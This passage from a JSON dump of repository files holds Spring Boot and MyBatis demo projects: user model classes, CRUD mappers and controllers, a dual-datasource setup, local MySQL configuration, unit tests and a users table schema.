    "content": "package com.neo.model;\n\nimport java.io.Serializable;\n\nimport com.neo.enums.UserSexEnum;\n\npublic class User implements Serializable {\n\n\tprivate static final long serialVersionUID = 1L;\n\tprivate Long id;\n\tprivate String userName;\n\tprivate String passWord;\n\tprivate UserSexEnum userSex;\n\tprivate String nickName;\n\n\tpublic User() {\n\t\tsuper();\n\t}\n\n\tpublic User(String userName, String passWord, UserSexEnum userSex) {\n\t\tsuper();\n\t\tthis.passWord = passWord;\n\t\tthis.userName = userName;\n\t\tthis.userSex = userSex;\n\t}\n\n\tpublic Long getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Long id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getUserName() {\n\t\treturn userName;\n\t}\n\n\tpublic void setUserName(String userName) {\n\t\tthis.userName = userName;\n\t}\n\n\tpublic String getPassWord() {\n\t\treturn passWord;\n\t}\n\n\tpublic void setPassWord(String passWord) {\n\t\tthis.passWord = passWord;\n\t}\n\n\tpublic UserSexEnum getUserSex() {\n\t\treturn userSex;\n\t}\n\n\tpublic void setUserSex(UserSexEnum userSex) {\n\t\tthis.userSex = userSex;\n\t}\n\n\tpublic String getNickName() {\n\t\treturn nickName;\n\t}\n\n\tpublic void setNickName(String nickName) {\n\t\tthis.nickName = nickName;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\t// TODO Auto-generated method stub\n\t\treturn \"userName \" + this.userName + \", pasword \" + this.passWord + \"sex \" + userSex.name();\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation/src/main/java/com/neo/web/UserController.java",
    "content": "package com.neo.web;\n\nimport java.util.List;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.neo.model.User;\nimport com.neo.mapper.UserMapper;\n\n@RestController\npublic class UserController {\n\t\n\t@Autowired\n\tprivate UserMapper userMapper;\n\t\n\t@RequestMapping(\"/getUsers\")\n\tpublic List<User> getUsers() {\n\t\tList<User> users=userMapper.getAll();\n\t\treturn users;\n\t}\n\t\n    @RequestMapping(\"/getUser\")\n    public User getUser(Long id) {\n    \tUser user=userMapper.getOne(id);\n        return user;\n    }\n    \n    @RequestMapping(\"/add\")\n    public void save(User user) {\n    \tuserMapper.insert(user);\n    }\n    \n    @RequestMapping(value=\"update\")\n    public void update(User user) {\n    \tuserMapper.update(user);\n    }\n    \n    @RequestMapping(value=\"/delete/{id}\")\n    public void delete(@PathVariable(\"id\") Long id) {\n    \tuserMapper.delete(id);\n    }\n    \n    \n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation/src/main/resources/application.properties",
    "content": "mybatis.type-aliases-package=com.neo.model\n\nspring.datasource.url=jdbc:mysql://localhost:3306/test?serverTimezone=UTC&useUnicode=true&characterEncoding=utf-8&useSSL=true\nspring.datasource.username=root\nspring.datasource.password=root\nspring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation/src/test/java/com/neo/MybatisAnnotationApplicationTests.java",
    "content": "package com.neo;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class MybatisAnnotationApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t\tSystem.out.println(\"hello world\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation/src/test/java/com/neo/mapper/UserMapperTest.java",
    "content": "package com.neo.mapper;\n\nimport java.util.List;\n\nimport com.neo.model.User;\nimport org.junit.Assert;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport com.neo.enums.UserSexEnum;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class UserMapperTest {\n\n\t@Autowired\n\tprivate UserMapper userMapper;\n\n\t@Test\n\tpublic void testInsert() throws Exception {\n\t\tuserMapper.insert(new User(\"aa1\", \"a123456\", UserSexEnum.MAN));\n\t\tuserMapper.insert(new User(\"bb1\", \"b123456\", UserSexEnum.WOMAN));\n\t\tuserMapper.insert(new User(\"cc1\", \"b123456\", UserSexEnum.WOMAN));\n\n\t\tAssert.assertEquals(3, userMapper.getAll().size());\n\t}\n\n\t@Test\n\tpublic void testQuery() throws Exception {\n\t\tList<User> users = userMapper.getAll();\n\t\tSystem.out.println(users.toString());\n\t}\n\t\n\t\n\t@Test\n\tpublic void testUpdate() throws Exception {\n\t\tUser user = userMapper.getOne(30l);\n\t\tSystem.out.println(user.toString());\n\t\tuser.setNickName(\"neo\");\n\t\tuserMapper.update(user);\n\t\tAssert.assertTrue((\"neo\".equals(userMapper.getOne(30l).getNickName())));\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation/users.sql",
    "content": "/*\nNavicat MySQL Data Transfer\n\nSource Server         : 本地\nSource Server Version : 50505\nSource Host           : localhost:3306\nSource Database       : test1\n\nTarget Server Type    : MYSQL\nTarget Server Version : 50505\nFile Encoding         : 65001\n\nDate: 2016-11-05 21:17:33\n*/\n\nSET FOREIGN_KEY_CHECKS=0;\n\n-- ----------------------------\n-- Table structure for `users`\n-- ----------------------------\nDROP TABLE IF EXISTS `users`;\nCREATE TABLE `users` (\n  `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键id',\n  `userName` varchar(32) DEFAULT NULL COMMENT '用户名',\n  `passWord` varchar(32) DEFAULT NULL COMMENT '密码',\n  `user_sex` varchar(32) DEFAULT NULL,\n  `nick_name` varchar(32) DEFAULT NULL,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=28 DEFAULT CHARSET=utf8;\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation-mulidatasource/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>com.neo</groupId>\n\t<artifactId>spring-boot-mybatis-annotation-mulidatasource</artifactId>\n\t<version>1.0.0</version>\n\t<packaging>jar</packaging>\n\n\t<name>spring-boot-mybatis-annotation-mulidatasource</name>\n\t<description>Demo project for Spring Boot and mybatis with annotation</description>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>2.1.0.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t        <groupId>org.springframework.boot</groupId>\n\t        <artifactId>spring-boot-starter-web</artifactId>\n\t    </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis.spring.boot</groupId>\n\t\t\t<artifactId>mybatis-spring-boot-starter</artifactId>\n\t\t\t<version>2.0.0</version>\n\t\t</dependency>\n\t     <dependency>\n\t        <groupId>mysql</groupId>\n\t        <artifactId>mysql-connector-java</artifactId>\n\t    </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n\t\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\t\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation-mulidatasource/src/main/java/com/neo/MAMApplication.java",
    "content": "package com.neo;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class MAMApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(MAMApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation-mulidatasource/src/main/java/com/neo/datasource/DataSource1Config.java",
    "content": "package com.neo.datasource;\n\nimport org.apache.ibatis.session.SqlSessionFactory;\nimport org.mybatis.spring.SqlSessionFactoryBean;\nimport org.mybatis.spring.SqlSessionTemplate;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.boot.jdbc.DataSourceBuilder;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Primary;\nimport org.springframework.jdbc.datasource.DataSourceTransactionManager;\n\nimport javax.sql.DataSource;\n\n/**\n * Created by summer on 2016/11/25.\n */\n@Configuration\n@MapperScan(basePackages = \"com.neo.mapper.test1\", sqlSessionTemplateRef  = \"test1SqlSessionTemplate\")\npublic class DataSource1Config {\n\n    @Bean(name = \"test1DataSource\")\n    @ConfigurationProperties(prefix = \"spring.datasource.test1\")\n    @Primary\n    public DataSource testDataSource() {\n        return DataSourceBuilder.create().build();\n    }\n\n    @Bean(name = \"test1SqlSessionFactory\")\n    @Primary\n    public SqlSessionFactory testSqlSessionFactory(@Qualifier(\"test1DataSource\") DataSource dataSource) throws Exception {\n        SqlSessionFactoryBean bean = new SqlSessionFactoryBean();\n        bean.setDataSource(dataSource);\n        return bean.getObject();\n    }\n\n    @Bean(name = \"test1TransactionManager\")\n    @Primary\n    public DataSourceTransactionManager testTransactionManager(@Qualifier(\"test1DataSource\") DataSource dataSource) {\n        return new DataSourceTransactionManager(dataSource);\n    }\n\n    @Bean(name = \"test1SqlSessionTemplate\")\n    @Primary\n    public SqlSessionTemplate testSqlSessionTemplate(@Qualifier(\"test1SqlSessionFactory\") SqlSessionFactory sqlSessionFactory) throws Exception {\n        return new SqlSessionTemplate(sqlSessionFactory);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation-mulidatasource/src/main/java/com/neo/datasource/DataSource2Config.java",
    "content": "package com.neo.datasource;\n\nimport org.apache.ibatis.session.SqlSessionFactory;\nimport org.mybatis.spring.SqlSessionFactoryBean;\nimport org.mybatis.spring.SqlSessionTemplate;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.boot.jdbc.DataSourceBuilder;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.jdbc.datasource.DataSourceTransactionManager;\n\nimport javax.sql.DataSource;\n\n/**\n * Created by summer on 2016/11/25.\n */\n@Configuration\n@MapperScan(basePackages = \"com.neo.mapper.test2\", sqlSessionTemplateRef  = \"test2SqlSessionTemplate\")\npublic class DataSource2Config {\n\n    @Bean(name = \"test2DataSource\")\n    @ConfigurationProperties(prefix = \"spring.datasource.test2\")\n    public DataSource testDataSource() {\n        return DataSourceBuilder.create().build();\n    }\n\n    @Bean(name = \"test2SqlSessionFactory\")\n    public SqlSessionFactory testSqlSessionFactory(@Qualifier(\"test2DataSource\") DataSource dataSource) throws Exception {\n        SqlSessionFactoryBean bean = new SqlSessionFactoryBean();\n        bean.setDataSource(dataSource);\n        return bean.getObject();\n    }\n\n    @Bean(name = \"test2TransactionManager\")\n    public DataSourceTransactionManager testTransactionManager(@Qualifier(\"test2DataSource\") DataSource dataSource) {\n        return new DataSourceTransactionManager(dataSource);\n    }\n\n    @Bean(name = \"test2SqlSessionTemplate\")\n    public SqlSessionTemplate testSqlSessionTemplate(@Qualifier(\"test2SqlSessionFactory\") SqlSessionFactory sqlSessionFactory) throws Exception {\n        return new SqlSessionTemplate(sqlSessionFactory);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation-mulidatasource/src/main/java/com/neo/enums/UserSexEnum.java",
    "content": "package com.neo.enums;\n\npublic enum UserSexEnum {\n\tMAN, WOMAN\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation-mulidatasource/src/main/java/com/neo/mapper/test1/User1Mapper.java",
    "content": "package com.neo.mapper.test1;\n\nimport com.neo.model.User;\nimport com.neo.enums.UserSexEnum;\nimport org.apache.ibatis.annotations.*;\n\nimport java.util.List;\n\npublic interface User1Mapper {\n\n\n\t@Select(\"SELECT * FROM users\")\n\t@Results({\n\t\t\t@Result(property = \"userSex\",  column = \"user_sex\", javaType = UserSexEnum.class),\n\t\t\t@Result(property = \"nickName\", column = \"nick_name\")\n\t})\n\tList<User> getAll();\n\n\t@Select(\"SELECT * FROM users WHERE id = #{id}\")\n\t@Results({\n\t\t\t@Result(property = \"userSex\",  column = \"user_sex\", javaType = UserSexEnum.class),\n\t\t\t@Result(property = \"nickName\", column = \"nick_name\")\n\t})\n\tUser getOne(Long id);\n\n\t@Insert(\"INSERT INTO users(userName,passWord,user_sex) VALUES(#{userName}, #{passWord}, #{userSex})\")\n\tvoid insert(User user);\n\n\t@Update(\"UPDATE users SET userName=#{userName},nick_name=#{nickName} WHERE id =#{id}\")\n\tvoid update(User user);\n\n\t@Delete(\"DELETE FROM users WHERE id =#{id}\")\n\tvoid delete(Long id);\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation-mulidatasource/src/main/java/com/neo/mapper/test2/User2Mapper.java",
    "content": "package com.neo.mapper.test2;\n\nimport java.util.List;\n\nimport com.neo.model.User;\nimport com.neo.enums.UserSexEnum;\nimport org.apache.ibatis.annotations.*;\n\npublic interface User2Mapper {\n\n\n\t@Select(\"SELECT * FROM users\")\n\t@Results({\n\t\t\t@Result(property = \"userSex\",  column = \"user_sex\", javaType = UserSexEnum.class),\n\t\t\t@Result(property = \"nickName\", column = \"nick_name\")\n\t})\n\tList<User> getAll();\n\n\t@Select(\"SELECT * FROM users WHERE id = #{id}\")\n\t@Results({\n\t\t\t@Result(property = \"userSex\",  column = \"user_sex\", javaType = UserSexEnum.class),\n\t\t\t@Result(property = \"nickName\", column = \"nick_name\")\n\t})\n\tUser getOne(Long id);\n\n\t@Insert(\"INSERT INTO users(userName,passWord,user_sex) VALUES(#{userName}, #{passWord}, #{userSex})\")\n\tvoid insert(User user);\n\n\t@Update(\"UPDATE users SET userName=#{userName},nick_name=#{nickName} WHERE id =#{id}\")\n\tvoid update(User user);\n\n\t@Delete(\"DELETE FROM users WHERE id =#{id}\")\n\tvoid delete(Long id);\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation-mulidatasource/src/main/java/com/neo/model/User.java",
    "content": "package com.neo.model;\n\nimport java.io.Serializable;\n\nimport com.neo.enums.UserSexEnum;\n\npublic class User implements Serializable {\n\n\tprivate static final long serialVersionUID = 1L;\n\tprivate Long id;\n\tprivate String userName;\n\tprivate String passWord;\n\tprivate UserSexEnum userSex;\n\tprivate String nickName;\n\n\tpublic User() {\n\t\tsuper();\n\t}\n\n\tpublic User(String userName, String passWord, UserSexEnum userSex) {\n\t\tsuper();\n\t\tthis.passWord = passWord;\n\t\tthis.userName = userName;\n\t\tthis.userSex = userSex;\n\t}\n\n\tpublic Long getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Long id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getUserName() {\n\t\treturn userName;\n\t}\n\n\tpublic void setUserName(String userName) {\n\t\tthis.userName = userName;\n\t}\n\n\tpublic String getPassWord() {\n\t\treturn passWord;\n\t}\n\n\tpublic void setPassWord(String passWord) {\n\t\tthis.passWord = passWord;\n\t}\n\n\tpublic UserSexEnum getUserSex() {\n\t\treturn userSex;\n\t}\n\n\tpublic void setUserSex(UserSexEnum userSex) {\n\t\tthis.userSex = userSex;\n\t}\n\n\tpublic String getNickName() {\n\t\treturn nickName;\n\t}\n\n\tpublic void setNickName(String nickName) {\n\t\tthis.nickName = nickName;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\t// TODO Auto-generated method stub\n\t\treturn \"userName \" + this.userName + \", pasword \" + this.passWord + \"sex \" + userSex.name();\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation-mulidatasource/src/main/java/com/neo/web/UserController.java",
    "content": "package com.neo.web;\n\nimport java.util.List;\n\nimport com.neo.mapper.test1.User1Mapper;\nimport com.neo.model.User;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.neo.mapper.test2.User2Mapper;\n\n@RestController\npublic class UserController {\n\n    @Autowired\n    private User1Mapper user1Mapper;\n\n\t@Autowired\n\tprivate User2Mapper user2Mapper;\n\t\n\t@RequestMapping(\"/getUsers\")\n\tpublic List<User> getUsers() {\n\t\tList<User> users=user1Mapper.getAll();\n\t\treturn users;\n\t}\n\t\n    @RequestMapping(\"/getUser\")\n    public User getUser(Long id) {\n    \tUser user=user2Mapper.getOne(id);\n        return user;\n    }\n    \n    @RequestMapping(\"/add\")\n    public void save(User user) {\n        user2Mapper.insert(user);\n    }\n    \n    @RequestMapping(value=\"update\")\n    public void update(User user) {\n        user2Mapper.update(user);\n    }\n    \n    @RequestMapping(value=\"/delete/{id}\")\n    public void delete(@PathVariable(\"id\") Long id) {\n        user1Mapper.delete(id);\n    }\n    \n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation-mulidatasource/src/main/resources/application.properties",
    "content": "mybatis.type-aliases-package=com.neo.model\n\nspring.datasource.test1.jdbc-url=jdbc:mysql://localhost:3306/test1?serverTimezone=UTC&useUnicode=true&characterEncoding=utf-8&useSSL=true\nspring.datasource.test1.username=root\nspring.datasource.test1.password=root\nspring.datasource.test1.driver-class-name=com.mysql.cj.jdbc.Driver\n\nspring.datasource.test2.jdbc-url=jdbc:mysql://localhost:3306/test2?serverTimezone=UTC&useUnicode=true&characterEncoding=utf-8&useSSL=true\nspring.datasource.test2.username=root\nspring.datasource.test2.password=root\nspring.datasource.test2.driver-class-name=com.mysql.cj.jdbc.Driver\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation-mulidatasource/src/test/java/com/neo/MAMApplicationTests.java",
    "content": "package com.neo;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class MAMApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t\tSystem.out.println(\"hello world\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation-mulidatasource/src/test/java/com/neo/mapper/User1MapperTest.java",
    "content": "package com.neo.mapper;\n\nimport java.util.List;\n\nimport com.neo.mapper.test1.User1Mapper;\nimport com.neo.model.User;\nimport org.junit.Assert;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport com.neo.enums.UserSexEnum;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class User1MapperTest {\n\n\t@Autowired\n\tprivate User1Mapper userMapper;\n\n\t@Test\n\tpublic void testInsert() throws Exception {\n\t\tuserMapper.insert(new User(\"aa\", \"a123456\", UserSexEnum.MAN));\n\t\tuserMapper.insert(new User(\"bb\", \"b123456\", UserSexEnum.WOMAN));\n\t\tuserMapper.insert(new User(\"cc\", \"b123456\", UserSexEnum.WOMAN));\n\n\t\tAssert.assertEquals(3, userMapper.getAll().size());\n\t}\n\n\t@Test\n\tpublic void testQuery() throws Exception {\n\t\tList<User> users = userMapper.getAll();\n\t\tif(users==null || users.size()==0){\n\t\t\tSystem.out.println(\"is null\");\n\t\t}else{\n\t\t\tSystem.out.println(users.size());\n\t\t}\n\t}\n\t\n\t\n\t@Test\n\tpublic void testUpdate() throws Exception {\n\t\tUser user = userMapper.getOne(6l);\n\t\tSystem.out.println(user.toString());\n\t\tuser.setNickName(\"neo\");\n\t\tuserMapper.update(user);\n\t\tAssert.assertTrue((\"neo\".equals(userMapper.getOne(6l).getNickName())));\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation-mulidatasource/src/test/java/com/neo/mapper/User2MapperTest.java",
    "content": "package com.neo.mapper;\n\nimport com.neo.model.User;\nimport com.neo.enums.UserSexEnum;\nimport com.neo.mapper.test2.User2Mapper;\nimport org.junit.Assert;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport java.util.List;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class User2MapperTest {\n\n\t@Autowired\n\tprivate User2Mapper userMapper;\n\n\t@Test\n\tpublic void testInsert() throws Exception {\n\t\tuserMapper.insert(new User(\"aa\", \"a123456\", UserSexEnum.MAN));\n\t\tuserMapper.insert(new User(\"bb\", \"b123456\", UserSexEnum.WOMAN));\n\t\tuserMapper.insert(new User(\"cc\", \"b123456\", UserSexEnum.WOMAN));\n\n\t\tAssert.assertEquals(3, userMapper.getAll().size());\n\t}\n\n\t@Test\n\tpublic void testQuery() throws Exception {\n\t\tList<User> users = userMapper.getAll();\n\t\tif(users==null || users.size()==0){\n\t\t\tSystem.out.println(\"is null\");\n\t\t}else{\n\t\t\tSystem.out.println(users.toString());\n\t\t}\n\t}\n\t\n\t\n\t@Test\n\tpublic void testUpdate() throws Exception {\n\t\tUser user = userMapper.getOne(6l);\n\t\tSystem.out.println(user.toString());\n\t\tuser.setNickName(\"neo\");\n\t\tuserMapper.update(user);\n\t\tAssert.assertTrue((\"neo\".equals(userMapper.getOne(6l).getNickName())));\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation-mulidatasource/users.sql",
    "content": "/*\nNavicat MySQL Data Transfer\n\nSource Server         : 本地\nSource Server Version : 50505\nSource Host           : localhost:3306\nSource Database       : test1\n\nTarget Server Type    : MYSQL\nTarget Server Version : 50505\nFile Encoding         : 65001\n\nDate: 2016-11-05 21:17:33\n*/\n\nSET FOREIGN_KEY_CHECKS=0;\n\n-- ----------------------------\n-- Table structure for `users`\n-- ----------------------------\nDROP TABLE IF EXISTS `users`;\nCREATE TABLE `users` (\n  `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键id',\n  `userName` varchar(32) DEFAULT NULL COMMENT '用户名',\n  `passWord` varchar(32) DEFAULT NULL COMMENT '密码',\n  `user_sex` varchar(32) DEFAULT NULL,\n  `nick_name` varchar(32) DEFAULT NULL,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=28 DEFAULT CHARSET=utf8;\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>com.neo</groupId>\n\t<artifactId>spring-boot-mybatis-xml</artifactId>\n\t<version>1.0.0</version>\n\t<packaging>jar</packaging>\n\n\t<name>spring-boot-mybatis-xml</name>\n\t<description>Demo project for Spring Boot and mybatis</description>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>2.1.0.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t        <groupId>org.springframework.boot</groupId>\n\t        <artifactId>spring-boot-starter-web</artifactId>\n\t    </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis.spring.boot</groupId>\n\t\t\t<artifactId>mybatis-spring-boot-starter</artifactId>\n\t\t\t<version>2.0.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t        <groupId>mysql</groupId>\n\t        <artifactId>mysql-connector-java</artifactId>\n\t    </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n\t\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml/src/main/java/com/neo/MybatisXmlApplication.java",
    "content": "package com.neo;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\n@MapperScan(\"com.neo.mapper\")\npublic class MybatisXmlApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(MybatisXmlApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml/src/main/java/com/neo/enums/UserSexEnum.java",
    "content": "package com.neo.enums;\n\npublic enum UserSexEnum {\n\tMAN, WOMAN\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml/src/main/java/com/neo/mapper/UserMapper.java",
    "content": "package com.neo.mapper;\n\nimport java.util.List;\n\nimport com.neo.model.User;\n\npublic interface UserMapper {\n\t\n\tList<User> getAll();\n\t\n\tUser getOne(Long id);\n\n\tvoid insert(User user);\n\n\tvoid update(User user);\n\n\tvoid delete(Long id);\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml/src/main/java/com/neo/model/User.java",
    "content": "package com.neo.model;\n\nimport java.io.Serializable;\n\nimport com.neo.enums.UserSexEnum;\n\npublic class User implements Serializable {\n\n\tprivate static final long serialVersionUID = 1L;\n\tprivate Long id;\n\tprivate String userName;\n\tprivate String passWord;\n\tprivate UserSexEnum userSex;\n\tprivate String nickName;\n\n\tpublic User() {\n\t\tsuper();\n\t}\n\n\tpublic User(String userName, String passWord, UserSexEnum userSex) {\n\t\tsuper();\n\t\tthis.passWord = passWord;\n\t\tthis.userName = userName;\n\t\tthis.userSex = userSex;\n\t}\n\n\tpublic Long getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Long id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getUserName() {\n\t\treturn userName;\n\t}\n\n\tpublic void setUserName(String userName) {\n\t\tthis.userName = userName;\n\t}\n\n\tpublic String getPassWord() {\n\t\treturn passWord;\n\t}\n\n\tpublic void setPassWord(String passWord) {\n\t\tthis.passWord = passWord;\n\t}\n\n\tpublic UserSexEnum getUserSex() {\n\t\treturn userSex;\n\t}\n\n\tpublic void setUserSex(UserSexEnum userSex) {\n\t\tthis.userSex = userSex;\n\t}\n\n\tpublic String getNickName() {\n\t\treturn nickName;\n\t}\n\n\tpublic void setNickName(String nickName) {\n\t\tthis.nickName = nickName;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\t// TODO Auto-generated method stub\n\t\treturn \"userName \" + this.userName + \", pasword \" + this.passWord + \"sex \" + userSex.name();\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml/src/main/java/com/neo/web/UserController.java",
